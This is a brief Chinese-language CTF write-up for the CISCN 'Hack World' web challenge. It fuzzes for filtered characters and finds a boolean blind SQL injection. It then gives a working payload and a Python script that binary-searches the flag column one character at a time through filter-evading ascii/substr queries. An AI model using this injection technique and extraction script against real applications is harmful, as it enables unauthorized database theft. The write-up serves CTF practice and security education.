[CISCN 华北赛区 Day2 Web1]Hack World
- ctf
- 2023-08-04
- 1830热度
- 0评论
一看题目就知道sql注入

就是找到注入点后就看能不能使其闭合了,但没办法过滤了太多,使用bp看一下过滤了哪些东西。导入sql fuzz字典。
长度为482的都会提示sql注入,即被过滤的字符,得到这些字符被过滤了

测试注入点,发现是盲注,直接查flag表flag字段的内容
id=(select(ascii(mid(flag,1,1))=102)from(flag))

编写脚本
import requests
import time
url = "http://63e7a48c-6ef5-40b6-98f3-5a854929c808.node4.buuoj.cn:81/index.php"
payload = {
"id" : ""
}
flag = ""
for i in range(1,200): #这里调多大都不会有影响,应为判断结束的条件是用空格判断的
time.sleep(0.06)
head = 33
tail =130
mid = (head + tail)//2
while(head < tail):
payload["id"] = "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
res = requests.post(url,data=payload)
time.sleep(0.04)
# print(payload)
if "Hello" in res.text:
head = mid + 1
else:
tail = mid
mid = (head + tail)//2
if(chr(mid)==" "):
break
flag += chr(mid)
print(flag)
print("flag: " ,flag)

